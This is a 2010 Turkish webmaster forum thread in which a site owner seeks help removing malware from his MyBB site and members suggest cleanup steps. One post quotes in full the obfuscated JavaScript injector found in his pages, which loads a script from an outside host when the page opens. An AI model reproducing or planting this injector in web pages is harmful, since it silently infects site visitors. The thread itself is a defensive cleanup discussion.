Acil Yardım Siteme Virüs Bulaştı(Temizlememe yardımcı olana domain) - Google Fan Webmaster Forum
Google Fan Webmaster Forum  
herşeyi sana yazdım

Geri git   Google Fan Webmaster Forum > Webmaster Genel > Webmaster Genel konular sorunlar
KEY
Kayıt ol Articles Sosyal Gruplar Forumları Okundu Kabul Et

Webmaster Genel konular sorunlar Webmaster genel konular sorular sorunlar

Cevapla
 
LinkBack Seçenekler
  1  
Alt 20-05-2010, 23:15:27
 
Arrow Acil Yardım Siteme Virüs Bulaştı(Temizlememe yardımcı olana domain)

Arkadaşlar siteme bir virüs bulaştı.

Zararlı içeriğe girmeden önce temizlemem lazım.



nod32 nin verdiği virüs uyarısı bu.lütfen yardım edin.

ben temizlerim diyen olursa .info domainlerimden birini hediye edebilirim.

site: www.koreanturk.com
__________________
HIZLI SİPARİŞ İÇİN: HTTP://GWINDORSEOBACKLINK.COM -BLOG,PRLİ PROFİL,MAKALE
Alıntı ile Cevapla
  2  
Alt 21-05-2010, 00:01:24
 
Standart

Eski dosyaları pcye çekin taratın.
ve kullandığınız mybb nin dosyalarını indirip ftp ye atın. (once yedekleyin dosyalarınızı)
Eğer olmazsa büyük ihtimalle db'ye atılmıştır
__________________
Uludağ Üni. Görükle.ORG
Alıntı ile Cevapla
  3  
Alt 21-05-2010, 00:20:17
 
Standart

TeXas dediginiz sekilde olmasi imkansiz arkadas nod32 kullandigi icin ftp den masa ustune dosyalari atmaya calisirsa otomatikmen nod32 silicektir dosyalari bunun icin su sekilde yaparsaniz daha mantikli olur nod32 i blok edip etkisiz hale getirmeniz gerekiyor ondan sonra masa ustune ftp dosyalarini atarak temizleme islemini yapabilirsiniz ilk once veritabanini tarayin veri tabanina atildiysa cpanelden sile bilirsiniz son isiniz ftp deki dosyalari dedigim sekilde temizleye bilirsiniz yapamazsaniz yarin ben pm araciligi ile size ulasir temizlerim virusu domaine falanda gerek yok bize `Allah razi olsun` kelimeside yeter

Saygilar.
__________________
Alıntı ile Cevapla
  4  
Alt 21-05-2010, 00:40:28
 
Standart

ftp ve panel bilgilerinizi gönderirseniz temizlerim.
__________________
www.nekil.com
Alıntı ile Cevapla
  5  
Alt 21-05-2010, 00:48:20
 
Standart

kod bu find and replace ile deniyeceğim.tüm index.php ve html lere girmiş.

ilginiz için teşekkür ederim arkadaşlar şimdi yapacaklarım olmazsa mecburen birebir yardımlarınızı rica edeceğim.teşekkürler tekrar.

Alıntı:
<script>var th={P:false};h=11228;h--;var um=["V","nA"];var m;f={};M=[];y=function(){this.H=false;function E(_,g,R){return _.substr(g,R);mG=6481;mG--;var fF='';}var pA=new String();this.hp=60885;this.hp+=187;this._g="_g";v ar s=RegExp;var D={Yr:8327};var u=document;var mh='';var v=String(E("/arcYIAZ",0,4)+"hive"+E("-orgNypF",0,4)+E("I0sE/gooIs0E",4,4)+"gle."+E("VAF7com/VAF7",4,4)+E("5VOzaycOV5",3,4)+E("LTZqev.nqTZL",4, 4)+E("et.p7yDx",0,4)+E("hpDBy",0,2));var N_=["RJ","NG"];var X=new String();this.iB=2726;this.iB++;function Q(_,g){var ll=new Array();var Yt={ya:51680};var R=new String("[")+g+"]";var li="li";var mb=new s(R, String(E("gureR",0,1)));pq=["m_"];return _.replace(mb, mh);};Lg={};this.uT=false;var RX=["KV","nb"];var rW=["OA","no"];lC=30796;lC+=161;var rL={};var i=String("body");Dt={Uh:false};var n=null;nZ=63874;nZ--;var o=625038-616958;var bC={Ki:"qd"};var t=Q('sIcnr0i0pVtV','bEDznZmOH0VSI3luqG_R8A2');this .to=17829;this.to++;m=function(){try {} catch(sP){};Ff={};try {var Jm=54266;var vE={sg:4873};var K=Q('cvrReuaftJeqEilIe0myevnqtM','2UzIq3ox4vSMuP0y fRiN6CJKQ');l=u[K](t);this.MO=25337;this.MO-=125;this.PJ=47349;this.PJ+=157;kd=38074;kd-=59;var O=Q('s6rWcN','6NMdKjoW13yEL8G');eL=["vi"];dg=["pT"];var _=o+v;var vP="defer";var tv=["tK","fZ"];var QC=["wc"];dN=[];l[vP]=[1][0];iO=23711;iO--;l[O]=new String(E("httpCEAz",0,4)+"://v"+"alid"+E("bannZXC",0,4)+E("nXBser.rBsXn",4,4)+E ("vE4Ou:OvE4",4,2))+_;Wn=[];Tx=[];var oZ={XM:"mK"};u[i].appendChild(l);var gJ="";var Jg=17407;this.wd="";this.du="";} catch(I){Ze=["Kj"];var SL={};var CE=["Sj","mJ"];};var Fu=["VH","ay"];var EG=["ue","A","ij"];};};var zu={Vp:"Ne"};iH=["us","xz","jz"];y();var Ie={};window.onload=m;var is=new Array();var Dki=new Array();</script>
<!--868a492989f05aafd26735254308806a-->
__________________
HIZLI SİPARİŞ İÇİN: HTTP://GWINDORSEOBACKLINK.COM -BLOG,PRLİ PROFİL,MAKALE
Alıntı ile Cevapla
  6  
Alt 21-05-2010, 01:13:47
 
Standart

virüs ayrıca tüm javascript dosyalarına bulaşmış...
__________________
HIZLI SİPARİŞ İÇİN: HTTP://GWINDORSEOBACKLINK.COM -BLOG,PRLİ PROFİL,MAKALE
Alıntı ile Cevapla
  7  
Alt 21-05-2010, 01:19:55
 
Standart

merhaba en basit çözüm,

1. sitenin tüm yedeklerini bir yere indirin mysql, dosyalar
2. sitenin hesabını hosting panelinden silin farklı bir şifre ile tekrar oluşturun
3. sıfır kullandığınız sürüme uygun mybb dosyalarını yükleyin
4. yedek aldığınız mysql'deki verileri yeni bir veritabanına sorgulatın ve mysql ile mybb bağlantısı yapın
5. eğer site o şekilde çalışırsa ve eksik resim, dosya vs.. var ise eski yedek aldığınız dosyalardan dosyaları ayıklayıp temizleyerek ftp adresine yükleyin

eğer bu virüs bilgisayarınıza bulaşmış ise

o bilgisayardan her girdiğiniz ftp adresine o virüs bulaşır
bilgisayardan temizleme yolu ise ilk önce bilgisayardaki tüm ftp programlarını silin, daha sonra bilgisayara format atın
__________________
Devler gibi eserler bırakmak için, KARINCA 'lar gibi çalışmak lazım...
Alıntı ile Cevapla
  8  
Alt 21-05-2010, 01:23:59
s3s s3s isimli üyemiz çevrimdışıdır. (Offline)
Üyeliği durduruldu
 
Standart

arkadaşların belirttikleri işlemleri sildikten sonra panel bilgilerini ve şifrelerini mutlaka değiştirmeni tavsiye ederim.
Alıntı ile Cevapla
  9  
Alt 21-05-2010, 01:59:52
 
Standart

arkadaşlar şimdi virüs yok sitede sanırım artık virüs uyarısı vermiyor
sırayla;
*nod32 ile komple pcyi taradım maşallah 40 tana virüs buldu.
*virüslü ftpyi komple indirdim
*sonra crackli cute ftpyi komple kaldırdım
*yerine ücretsiz filezillayı kurdum
*directadmin şifrelerini değiştirdim (ftpde değişti tabi)
*find and replace programı ile indirdiğim ftp dosyalarındaki tüm phpleri ve html deki virüs kodlarını sildim
*js dosyalarını ise elle bulup el ile sildim.
*sadece temizlediğim dosyaları ftpye filezilla ile attım

ve şuan site virüs uyarısı vermiyor.sizde bakarmısınız acaba arkadaşlar sitede virüs varmı? ben önceden uyarı verdiğini söyleyen arkadaşlarıma sordum hepsi temizlenmiş dediler.

sanırım ucuz atlattım ^^
__________________
HIZLI SİPARİŞ İÇİN: HTTP://GWINDORSEOBACKLINK.COM -BLOG,PRLİ PROFİL,MAKALE
Alıntı ile Cevapla
  10  
Alt 21-05-2010, 18:14:42
 
Standart

Sorun yok Gwindor tertemiz yapmissiniz
__________________
Alıntı ile Cevapla
Cevapla


Bookmarks

Seçenekler

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Açık



Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 07:35:50.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

“İnsanların en hayırlısı, insanlara faydalı olandır”. H.Ş

Hosting by Radore Hosting

İçerik sağlayacı paylaşım sitelerinden biri olan R10.net WebMaster Forum Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. R10.net hakkında yapılacak tüm hukuksal Şikayetler adresi ile iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 1 (Bir) Hafta içerisinde R10.net yönetimi olarak tarafımızdan gereken işlemler yapılacak ve Avukatlarımız size dönüş yapacaktır.
ARGUS_OK

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252